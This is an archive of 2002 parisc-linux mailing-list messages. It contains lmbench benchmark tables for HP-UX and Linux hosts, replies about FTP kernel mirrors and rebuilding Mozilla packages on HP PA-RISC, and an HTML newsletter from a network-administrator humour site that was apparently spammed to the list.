c3k-hpux  HP-UX B.10.20  400 0.33        21   25    55 3.42   12  698 1866 6678
c3k-hpux  HP-UX B.10.20  400 0.33        21   25    55 3.42   12  700 1871 6715
c3k-new   Linux 2.4.18-  400 0.70 1.26 6.78 7.46  62.0 2.18 14.7 3030 9459 27.K
ia64      Linux 2.4.17   800 0.56 0.81 2.89 4.69  38.3 1.07 3.52 381. 1559 7058


Context switching - times in microseconds - smaller is better
-------------------------------------------------------------
Host                 OS 2p/0K 2p/16K 2p/64K 8p/16K 8p/64K 16p/16K 16p/64K
                        ctxsw  ctxsw  ctxsw ctxsw  ctxsw   ctxsw   ctxsw
--------- ------------- ----- ------ ------ ------ ------ ------- -------
c3k-old   Linux 2.4.0-t 1.360 1.3000 1.1500     22     82      27      95
c3k-hpux  HP-UX B.10.20 3.760 3.6500    273    119    288      92     184
c3k-hpux  HP-UX B.10.20 3.760 3.6800 3.7500 3.7000     32 6.31000      60
c3k-hpux  HP-UX B.10.20 3.760 3.6300 3.5100 3.5600     13 6.84000      64
c3k-hpux  HP-UX B.10.20 4.320 3.7700 3.6300 3.7000     10 5.92000      51
c3k-new   Linux 2.4.18- 1.260 1.2100 1.0400   20.2   84.6    27.4    97.3
ia64       Linux 2.4.17 6.350 9.5200   35.7   18.4   42.7    19.4    69.7


*Local* Communication latencies in microseconds - smaller is better
-------------------------------------------------------------------
Host                 OS 2p/0K  Pipe AF     UDP  RPC/   TCP  RPC/ TCP
                        ctxsw       UNIX         UDP         TCP conn
--------- ------------- ----- ----- ---- ----- ----- ----- ----- ----
c3k-old   Linux 2.4.0-t 1.360 9.501   19    28          36       8.2M
c3k-hpux  HP-UX B.10.20 3.760    20   22    42    93    39   103 2.0M
c3k-hpux  HP-UX B.10.20 3.760    19   22    41    93    39   101 2.0M
c3k-hpux  HP-UX B.10.20 3.760    19   21    41    93    39   101 2.0M
c3k-hpux  HP-UX B.10.20 4.320    19   21    41    93    39   102 2.0M
c3k-new   Linux 2.4.18- 1.260  12.7 19.2  29.4  57.4  35.6  80.0 143.
ia64       Linux 2.4.17 6.350  17.1 32.0  44.1  73.2  60.0 104.6 111.


File & VM system latencies in microseconds - smaller is better
--------------------------------------------------------------
Host                 OS   0K File      10K File      Mmap    Prot    Page	
                        Create Delete Create Delete  Latency Fault   Fault 
--------- ------------- ------ ------ ------ ------  ------- -----   ----- 
c3k-old   Linux 2.4.0-t 9.0001 1.0000     28 3.0000     1423              
c3k-hpux  HP-UX B.10.20   1123    598   1694    598 191.8620 6.480    5504
c3k-hpux  HP-UX B.10.20   1123    598   1754    598 181.1960 6.880    5738
c3k-hpux  HP-UX B.10.20   1136    598   1724    598 184.6730 4.232    5418
c3k-hpux  HP-UX B.10.20   1123    598   1724    598 185.1890 4.300    5475
c3k-new   Linux 2.4.18-  102.5   42.5  392.2   81.8    15.2K 695.2    11.0
ia64       Linux 2.4.17   89.8   26.4  195.2   57.7   5460.0 1.298    4.00000


*Local* Communication bandwidths in MB/s - bigger is better
-----------------------------------------------------------
Host                OS  Pipe AF    TCP  File   Mmap  Bcopy  Bcopy  Mem   Mem
                             UNIX      reread reread (libc) (hand) read write
--------- ------------- ---- ---- ---- ------ ------ ------ ------ ---- -----
c3k-old   Linux 2.4.0-t   48   49   42     76    513    193    200  504   430
c3k-hpux  HP-UX B.10.20  406  528  298    490    391    164    163  503   452
c3k-hpux  HP-UX B.10.20  402  537  315    506    509    207    208  504   467
c3k-hpux  HP-UX B.10.20  407  537  312    508    509    207    206  494   467
c3k-hpux  HP-UX B.10.20  406  538  311    505    509    205    209  499   467
c3k-new   Linux 2.4.18- 47.8 48.9 82.3   74.0  472.9  205.2  207.5 472. 474.7
ia64       Linux 2.4.17 600. 464. 315.  267.9  160.7  428.4  106.8 161. 222.2


Memory latencies in nanoseconds - smaller is better
    (WARNING - may not be correct, check graphs)
---------------------------------------------------
Host                 OS   Mhz  L1 $   L2 $    Main mem    Guesses
--------- -------------  ---- ----- ------    --------    -------
c3k-old   Linux 2.4.0-t   400 7.503 7.5030    184    No L1 cache?
c3k-new   Linux 2.4.18-   400 7.502 7.5020  184.8    No L1 cache?
ia64       Linux 2.4.17   800 3.786   27.8  244.1

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^



From - Thu Nov 08 21:22:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Building cvs 2.4.18
Date: Fri, 29 Mar 2002 10:56:59 -0700
Lines: 19
Approved: news@gmane.org
Message-ID: <20020329175659.97793482A@dsl2.external.hp.com>
References: <Pine.LNX.4.33L2.0203251403190.13376-100000@eiger.apptechsys.com> <jeremyd@apptechsys.com> <20020326063217.50AB1482C@dsl2.external.hp.com> <20020327220901.A315@neep.com.au> <andrew@neep.com.au> <20020328070207.990A8482A@dsl2.external.hp.com> <20020328181323.A6833@neep.com.au> <andrew@neep.com.au> <20020328171720.8DC24482A@dsl2.external.hp.com>  <20020329090821.R888@neep.com.au>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621198 5519 80.91.229.3 (22 Nov 2014 01:53:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:18 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar 29 10:56:59 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 97793482A
	for <parisc-linux@parisc-linux.org>; Fri, 29 Mar 2002 10:56:59 -0700 (MST)
In-Reply-To: Message from Andrew Shugg <andrew@neep.com.au> 
   of "Fri, 29 Mar 2002 09:08:24 +0800." <20020329090821.R888@neep.com.au> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14468

Andrew Shugg wrote:
> Okay.  I think we're not looking on the same systems, somehow.  =)

We aren't. I didn't say gsyprf10.external.hp.com originally?

I seeded ftp.parisc-linux.org/kernels from gsyprf10.
I'll remove the parisc content from gsyprf10 ftp site so there is
no overlap and hopefully no confusion in the future.
Go by date stamps for now until it's cleaned up.

> There's only the one ftp server, isn't there?

For parisc-linux, yes.
But I maintain a bunch of other x86 boxes...

hth,
grant



From - Thu Nov 08 21:22:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christian Suder <csuder@cisco.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Mozilla, etc.
Date: Fri, 29 Mar 2002 10:45:39 -0800
Lines: 48
Approved: news@gmane.org
Message-ID: <4.3.2.7.2.20020329103302.0252c9c8@mira-sjc5-9.cisco.com>
References: <5.1.0.14.2.20020328171235.02e71248@pop.puretec.de>
 <3CA2ADDB.4EE8AFA4@cisco.com>
 <Pine.LNX.4.33.0203272123310.1463-100000@lewis.et.byu.edu>
 <3CA2ADDB.4EE8AFA4@cisco.com>
 <20020328093151.GA20881@elvis.franken.de>
 <5.1.0.14.2.20020328171235.02e71248@pop.puretec.de> <20020328235906.A11055@solo.franken.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Trace: ger.gmane.org 1416621198 5528 80.91.229.3 (22 Nov 2014 01:53:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:18 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar 29 11:47:30 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sj-msg-core-4.cisco.com (sj-msg-core-4.cisco.com [171.71.163.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6D13A482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 29 Mar 2002 11:47:29 -0700 (MST)
Original-Received: from mira-sjc5-9.cisco.com (IDENT:mirapoint@mira-sjc5-9.cisco.com [171.71.163.32])
	by sj-msg-core-4.cisco.com (8.12.2/8.12.2) with ESMTP id g2TIjjI6012900;
	Fri, 29 Mar 2002 10:45:45 -0800 (PST)
Original-Received: from CSUDER-W2K.cisco.com (dhcp-171-71-143-14.cisco.com [171.71.143.14])
	by mira-sjc5-9.cisco.com (Mirapoint)
	with ESMTP id ACL64259;
	Fri, 29 Mar 2002 10:45:56 -0800 (PST)
X-Sender: csuder@mira-sjc5-9.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
In-Reply-To: <20020328235906.A11055@solo.franken.de>
Original-References: <5.1.0.14.2.20020328171235.02e71248@pop.puretec.de>
 <3CA2ADDB.4EE8AFA4@cisco.com>
 <Pine.LNX.4.33.0203272123310.1463-100000@lewis.et.byu.edu>
 <3CA2ADDB.4EE8AFA4@cisco.com>
 <20020328093151.GA20881@elvis.franken.de>
 <5.1.0.14.2.20020328171235.02e71248@pop.puretec.de>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14469

Thanks Thomas,

that helped quite a bit. I used an older mozilla tree which I had and 
compiled it with -O and it worked with skipstone. I'm now using your 
binaries (saved a couple of hours...;-) with a recent skipstone and it 
works pretty well on a local X display.

It has some issues running remotely (window not always redrawn, hangs 
sometimes). Galeon doesn't want to run at all on a remote display, a couple 
of tasks are spawning but nothing on the screen. This seems to be a generic 
issue with appearantly mostly GTK+ applications. Pan and sylpheed are two 
other apps that don't want to run remotely although they do work on a local 
display.

         Christian


At 11:59 PM 3/28/2002 +0100, Thomas Bogendoerfer wrote:
>On Thu, Mar 28, 2002 at 05:13:56PM +0100, Tilo Jandt wrote:
> >
> >
> > >to get it running, you need to recompile it with -O optimizing level.
> >
> > how do you recompile it?
>
>apt-get source mozilla
>cd mozilla-0.9.9
>vi debian/rules
>dpkg-buildpackage -b
>/* wait some hours */
>
> > >But there is galeon, which uses mozillas rendering engine, which (also
> > >compiled with -O) gives me a working web browser.
> >
> > since the upgrade to mozilla 0.9.9 i can't use galeon any more.
>
>I've placed the .debs, which I'm using to:
>
>http://gsyprf11.external.hp.com/~tsbogend
>
>Thomas.
>
>--
>Crap can work. Given enough thrust pigs will fly, but it's not necessary a
>good idea.                                 [ Alexander Viro on linux-kernel ]




From - Thu Nov 08 21:22:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dougchick@thenetworkadministrator.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] The Bitter Network Administrator
Date: Fri, 29 Mar 2002 20:21:31
Lines: 413
Approved: news@gmane.org
Message-ID: <20020330012433.B0FF6482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/html; charset="iso-8859-1"
X-Trace: ger.gmane.org 1416621199 5539 80.91.229.3 (22 Nov 2014 01:53:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:19 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar 29 18:24:53 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from thenetworkadministrator.com (user107.net036.fl.sprint-hsd.net [209.26.235.107])
	by dsl2.external.hp.com (Postfix) with SMTP id B0FF6482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 29 Mar 2002 18:24:33 -0700 (MST)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14470

<html>

<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<meta name="GENERATOR" content="Microsoft FrontPage 4.0">
<title>The Network Administrator</title>
</head>

<body topmargin="3" leftmargin="3">

<table border="1" width="79%">
  <tr>
    <td width="100%" align="center">

<table cellpadding="0" cellspacing="0" border="0" width="555" height="81"
style="border-style: none; border-width: 0px; margin-left: 0px">
  <tr>
    <td align="center" width="128" height="36" rowspan="3" 
background="http://www.thenetworkadministrator.com/face1.gif">

   <p align="left">&nbsp;</p>
    </td>


    <td align="center" width="423" rowspan="3"><p
    align="center"><strong><font color="#000080"><big><big><big>The
      Network Administrator</big></big></big></font></strong></td>
  </tr>
</table>
<table border="0" width="98%" cellspacing="0" cellpadding="0" height="1">
  <tr>
    <td width="100%" bgcolor="#000080" height="1">
      <p align="left"><font 
color="#ffffff"><strong>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb
sp;&nbsp;&nbsp;&nbsp;&nbsp;
      A Website Dedicated to Computer Professionals</strong></font></td>
  </tr>
  <tr>
    <td width="100%" bgcolor="#FFFFFF" height="1">
      <p align="right"><font color="#000080"><b>&nbsp;and those not so
      professional&nbsp;&nbsp;</b></font></td>
  </tr>
</table>

      <table border="0" width="98%" cellspacing="0" cellpadding="3">
        <tr>
          <td width="100%">
    <hr noshade size="1">
          </td>
        </tr>
      </table>
      <table border="0" width="99%" cellpadding="0" height="100%" 
cellspacing="0">
        <tr>
          <td width="77%" align="left" valign="top"><!--end header--> 
<u><strong>Feature
    Articles:</strong></u><span class="regtextthin1"><font color="#0000FF" 
size="4"><br>
            </font></span><font color="#0000ff" size="4">How many 
certifications
            before you are a MCTT? (Microsoft Certified Test Taker)</font>
            <p align="left"><font face="Times New Roman" size="3"><img 
align="left" border="0" 
src="http://www.thenetworkadministrator.com/monkeypics/professional_mw.gif" 
width="80" height="120">Where
            is the line between having too many certifications and just 
enough?
            Does your resume give the impression that you have more 
experience
            in test taking than actual work experience? If this sounds 
like you
            then here's a quick test to see how you rank. Relax
            Poindexter...there's no test here. I was just kidding.&nbsp; 
<b>By
            Doug Chick</b><br>
            <a href="http://www.thenetworkadministrator.com"><font 
color="#0000ff"><img border="0" 
src="http://www.thenetworkadministrator.com/fullstory.jpg" width="70" 
height="20"></font></a></font></p>
            <font color="#0000FF">
    <hr noshade size="1" align="left">
            </font>
            <p><span class="regtextthin1"><font color="#0000FF" size="4">
      <font color="#0000ff" face="Times New Roman" size="4">Are you 
choosing
      software for your company by what will look best on your 
resume?&nbsp;<br>
      &nbsp;<img align="left" border="0" height="84" 
src="http://209.26.235.107/monkeypics/boy_coloring_sm_wht.gif" 
width="84"><br>
      </font><span style="FONT-SIZE: 12pt"><font face="Times New Roman" 
size="3">&nbsp;</font></span></font><span style="FONT-SIZE: 12pt"><font 
face="Times New Roman" size="3" color="#000000">First
      thing I do when looking for software for my company is research all
      available software similar to our needs. Then I do a detailed 
comparative
      analysis, followed by a call to a list of satisfied customers 
supplied by
      the software company. After all, isnt that what all Network
      Administrators do?&nbsp;Well, maybe not all...<br>
            <b>By Doug Chick</b><br>
            </font></span></span><font color="#0000FF"><a 
href="http://www.thenetworkadministrator.com"><img border="0" 
src="http://www.thenetworkadministrator.com/fullstory.jpg" width="70" 
height="20"></a>
            </p>
    <hr noshade size="1" align="left">
    <p align="left"><span class="regtextthin1"><font color="#0000FF" 
size="4">
      Why
wouldnt Microsoft package its own computer like 
Apple?</font></span><span style="font-size:10.0pt;font-family:Arial" 
class="regtextthin1"><br>
      </span><img border="0" src="http://209.26.235.107/pics/mbox.gif" 
align="left" width="122" height="113"></font>I Read an article by <span 
style="font-size:10.0pt;mso-ascii-font-family:&quot;Times New 
Roman&quot;;mso-hansi-font-family:
&quot;Times New Roman&quot;;mso-bidi-font-family:&quot;Times New 
Roman&quot;" class="regtextthin1">Phillip
Smith</span><span style="font-size:10.0pt;font-family:Arial" 
class="regtextthin1">
 that raised an interesting question; Why wouldnt Microsoft package its 
own
computer like Apple or Sun, and stop selling its software to computer 
makers
altogether? Microsoft could agree that they created a market that made 
them a
monopoly and to add balance to the industry they would stop selling their 
product
to computer makers and only use it in their own systems.&nbsp; 
    <font color="#0000FF">
    <br>
 </font>
 </span>
    <font color="#0000FF">
    <a href="http://www.thenetworkadministrator.com"><img border="0" 
src="http://www.thenetworkadministrator.com/fullstory.jpg" width="70" 
height="20"></a></font>
    <hr noshade size="1" align="left">
            <p align="left"><font color="#0000FF" size="4"><b>Has 
Monitoring your Network
      Given you a God Complex?&nbsp;<br>
      </b></font><img border="0" src="http://209.26.235.107/god.jpg" 
align="left" width="86" height="108">From your desk you
      can see who and when someone logs in, who and what e-mail they send 
and
      what websites that they frequently attend. Knowing this information 
can
      sometimes place you in difficult situations. You often ask yourself 
if you
      should interfere to help someone that you like, or don't like. See 
an
      e-mail that you know is damaging and wonder if you should stop or 
remove
      it completely. It's a very difficult position to be in and almost no 
one,
      short of other computer people know about it. So what do you do? I 
am now
      of the philosophy that, &quot;Unless someone is in danger of being
      hurt--Stay out of it!&quot;&nbsp;&nbsp;<br>
      <b>By Doug Chick</b><br>
 
    <font color="#0000FF">
    <a href="http://www.thenetworkadministrator.com"><img border="0" 
src="http://www.thenetworkadministrator.com/fullstory.jpg" width="70" 
height="20"></a></font>
 
            <hr noshade size="1" align="left">
            <p align="left"><font color="#0000FF"><font face="Times New 
Roman" color="#0000FF" size="4">How
    many computer catalogs do companies think you need?&nbsp;</font><span 
style="FONT-SIZE: 12pt"><font face="Times New Roman" size="3"><br>
    <img border="0" 
src="http://209.26.235.107/pics/jerboa_stomp_sm_wht.gif" align="left" 
width="65" height="60"></font></span></font><span style="FONT-SIZE: 
12pt"><font face="Times New Roman" size="3" color="#000000">On
    an average, I receive 5 computer accessories catalogs by mail, 
everyday.
    Thats 25 a week, 100 a month and 1200 an year. Now stacking 10 
magazines
    on top of each other will give you an inch, and 1200 magazines will 
produce
    a stack 10 feet high. Lets review: 5 magazines X 5 days<span 
style="mso-spacerun: yes">&nbsp;
    </span>= 25 X 4 weeks = 100 X 12 months = 1200 magazines = a stack 10 
feet
    high.<br>
    </font></span>
    <font color="#0000FF">
    <a href="http://www.thenetworkadministrator.com"><img border="0" 
src="http://www.thenetworkadministrator.com/fullstory.jpg" width="70" 
height="20"></a></font>
 </p>
            <hr noshade size="1" align="left">
            <p align="left"><font size="4">Who wants to be a Network
    Administrator?<br>
    </font>
    <span style="font-size:12.0pt;font-family:&quot;Times New 
Roman&quot;;mso-fareast-font-family:
&quot;Times New 
Roman&quot;;mso-ansi-language:EN-US;mso-fareast-language:EN-US;
mso-bidi-language:AR-SA"><img border="0" 
src="http://209.26.235.107/pics/analyzing_t_v_head_mw.gif" align="left" 
width="66" height="99">Why
    are there so many people out there that are studying so hard to take 
your
    job away from you? Money. I was sitting in the movie theater with my 
wife
    last night and one of the ads on the screen before the movie started 
read:
    Be a Network Administrator and earn 87K a year. Well, two thumbs up 
again
    for those lying salary surveys. I dont really think that those salary
    surveys are lying as much as I believe that theres one network
    administrator out there that makes 47 millions dollars a year and is
    totally warping the salary curve.<br>
    </span>
    <font color="#0000FF">
    <a href="http://www.thenetworkadministrator.com"><img border="0" 
src="http://www.thenetworkadministrator.com/fullstory.jpg" width="70" 
height="20"></a></font>
 </p>
            <hr noshade size="1" align="left">
            <p align="left"><font color="#0000FF" size="4">Is your career 
dependant on
      the operating system that you support?<br>
      <img border="0" src="http://209.26.235.107/pics/plunger_mw.gif" 
align="left" width="120" height="104"></font><br>
<!--page-->If suddenly one day, the president of your company announced 
that he
      just struck a deal to change all the servers operating systems in 
your
      company to Serversoft (trademark pending) what would you do 
exactly?
      Furthermore, what if your company started hiring people that were
      Serversoft certified, (trademark pending) that had no real life 
computer
      experience and were paid more than you? How likely is that to 
happen? Ask
      a Novell Administrator.<span class="regtext"><font 
color="#0000FF"><br>
            </font></span> 
    <font color="#0000FF">
    <a href="http://www.thenetworkadministrator.com"><img border="0" 
src="http://www.thenetworkadministrator.com/fullstory.jpg" width="70" 
height="20"></a></font> </p>
            <p align="center"><a 
href="mailto:submit@thenetworkadministrator.com">Submit
            an Article<br>
            <br>
            <font size="4"><a 
href="mailto:removeme@thenetworkadministrator.com">Please
            remove me from your newsletter.</font></a> </p>
          </td>
          <td width="25%" align="left" bordercolor="#000080">
            <table border="1" width="100%" cellspacing="0" cellpadding="0" 
bordercolor="#FFFFFF" bgcolor="#000080" height="153">
              <tr>
                <td width="100%" bordercolor="#FFFFFF" height="19">
                  <p align="center"><font color="#FFFFFF" 
size="2">*</font></td>
              </tr>
              <tr>
                <td width="100%" bordercolor="#FFFFFF" height="15">
                  <p align="center"><font size="2" color="#FFFFFF">Monkey 
Sling</font></td>
              </tr>
              <tr>
                <td width="100%" bordercolor="#FFFFFF" height="30">
                  <p align="center"><font size="2" color="#FFFFFF">The 
Network
                  Admins Survival Guide</font></td>
              </tr>
              <tr>
                <td width="100%" bordercolor="#FFFFFF" height="30">
                  <p align="center"><font size="2" color="#FFFFFF">The 
Language
                  of the End-User</font></td>
              </tr>
              <tr>
                <td width="100%" bordercolor="#FFFFFF" height="15">
                  <p align="center"><font size="2" color="#FFFFFF">Hacker 
Facts</font></td>
              </tr>
              <tr>
                <td width="100%" bordercolor="#FFFFFF" height="15">
                  <p align="center"><small><font 
color="#FFFFFF">Conspiracy
                  Theory</font></small></td>
              </tr>
              <tr>
                <td width="100%" bordercolor="#FFFFFF" height="15">
                  <p align="center"><small><font color="#FFFFFF">Who Let 
the
                  Bugs Out</font></small></td>
              </tr>
              <tr>
                <td width="100%" bordercolor="#FFFFFF" height="15">
                  <p align="center"><font color="#FFFFFF" 
size="2">*</font></td>
              </tr>
              <tr>
                <td width="100%" bordercolor="#FFFFFF" height="15" 
align="center" bgcolor="#FFFFFF">&nbsp;</td>
              </tr>
              <tr>
                <td width="100%" bordercolor="#FFFFFF" height="15" 
align="center" bgcolor="#FFFFFF">&nbsp;</td>
              </tr>
              <tr>
                <td width="100%" bordercolor="#FFFFFF" height="15" 
align="center" bgcolor="#FFFFFF">&nbsp;</td>
              </tr>
              <tr>
                <td width="100%" bordercolor="#FFFFFF" height="15" 
align="center" bgcolor="#FFFFFF">&nbsp;</td>
              </tr>
              <tr>
                <td width="100%" bordercolor="#FFFFFF" height="15" 
align="center" bgcolor="#FFFFFF">&nbsp;</td>
              </tr>
              <tr>
                <td width="100%" bordercolor="#FFFFFF" height="8" 
align="center" bgcolor="#FFFFFF">&nbsp;
                  <p>&nbsp;</p>
                  <p>&nbsp;</p>
                </td>
              </tr>
              <tr>
                <td width="100%" bordercolor="#FFFFFF" height="7" 
align="center" bgcolor="#FFFFFF">&nbsp;</td>
              </tr>
              <tr>
                <td width="100%" bordercolor="#FFFFFF" height="15" 
align="center" bgcolor="#FFFFFF">&nbsp;</td>
              </tr>
              <tr>
                <td width="100%" bordercolor="#FFFFFF" height="15" 
align="center" bgcolor="#FFFFFF">&nbsp;</td>
              </tr>
              <tr>
                <td width="100%" bordercolor="#FFFFFF" height="15" 
align="center" bgcolor="#FFFFFF"><font color="#FFFFFF" 
size="2">*</font></td>
              </tr>
              <tr>
                <td width="100%" bordercolor="#FFFFFF" height="15" 
align="center" bgcolor="#FFFFFF"><font color="#FFFFFF" 
size="2">*</font></td>
              </tr>
              <tr>
                <td width="100%" bordercolor="#FFFFFF" height="15" 
align="center" bgcolor="#FFFFFF"><font color="#FFFFFF" 
size="2">*</font></td>
              </tr>
              <tr>
                <td width="100%" bordercolor="#FFFFFF" height="15" 
align="center" bgcolor="#FFFFFF"><font color="#FFFFFF" 
size="2">*</font></td>
              </tr>
              <tr>
                <td width="100%" bordercolor="#FFFFFF" height="15" 
align="center" bgcolor="#FFFFFF"><font color="#FFFFFF" 
size="2">*</font></td>
              </tr>
              <tr>
                <td width="100%" bordercolor="#FFFFFF" height="15" 
align="center" bgcolor="#FFFFFF"><font color="#FFFFFF" 
size="2">*</font></td>
              </tr>
              <tr>
                <td width="100%" bordercolor="#FFFFFF" height="15" 
align="center" bgcolor="#FFFFFF"><font color="#FFFFFF" 
size="2">*</font></td>
              </tr>
              <tr>
                <td width="100%" bordercolor="#FFFFFF" height="15" 
align="center" bgcolor="#FFFFFF"><font color="#FFFFFF" 
size="2">*</font></td>
              </tr>
              <tr>
                <td width="100%" bordercolor="#FFFFFF" height="15" 
align="center" bgcolor="#FFFFFF"><font color="#FFFFFF" 
size="2">*</font></td>
              </tr>
            </table>
            <table border="0" width="100%" cellspacing="0" cellpadding="0" 
height="100%">
              <tr>
                <td width="100%" height="346"></td>
              </tr>
            </table>
            <p>&nbsp;</td>
        </tr>
      </table>
      <table border="0" width="100%" cellspacing="0" cellpadding="0">
        <tr>
          <td width="100%">
            <p align="left"><strong>|</strong><font color="#0000FF"> 
Copyright
            2001&nbsp; TheNetworkAdministrator.com &amp; DougChick.com 
|</font></td>
        </tr>
      </table>
    </td>
  </tr>
</table>

</body>

</html>



From - Thu Nov 08 21:22:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Fwd: Re: Any hppa gurus?
Date: Sat, 30 Mar 2002 10:47:24 -0500
Lines: 37
Approved: news@gmane.org
Message-ID: <20020330104724.A16468@systemhalted>
References: <E16qeEE-0000jh-00.2002-03-28-18-02-27@mail6.svr.pol.co.uk> <20020328143202.I12094@systemhalted> <E16qkq2-0008AG-00.2002-03-29-01-05-55@mail7.svr.pol.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621199 5552 80.91.229.3 (22 Nov 2014 01:53:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:19 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org, debian-hppa@debian.org
To: Will Newton <will@misconception.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Mar 30 08:46:31 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from sh.od.inet (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id EC548482A
	for <parisc-linux@parisc-linux.org>; Sat, 30 Mar 2002 08:46:28 -0700 (MST)
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.6/8.11.0) id g2UFlOi16492;
	Sat, 30 Mar 2002 10:47:24 -0500
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	Will Newton <will@misconception.org.uk>,
	parisc-linux@parisc-linux.org, debian-hppa@debian.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <E16qkq2-0008AG-00.2002-03-29-01-05-55@mail7.svr.pol.co.uk>; from will@misconception.org.uk on Fri, Mar 29, 2002 at 01:07:07AM +0000
X-Useless-Header: oooohhmmm, chant the email mantra...
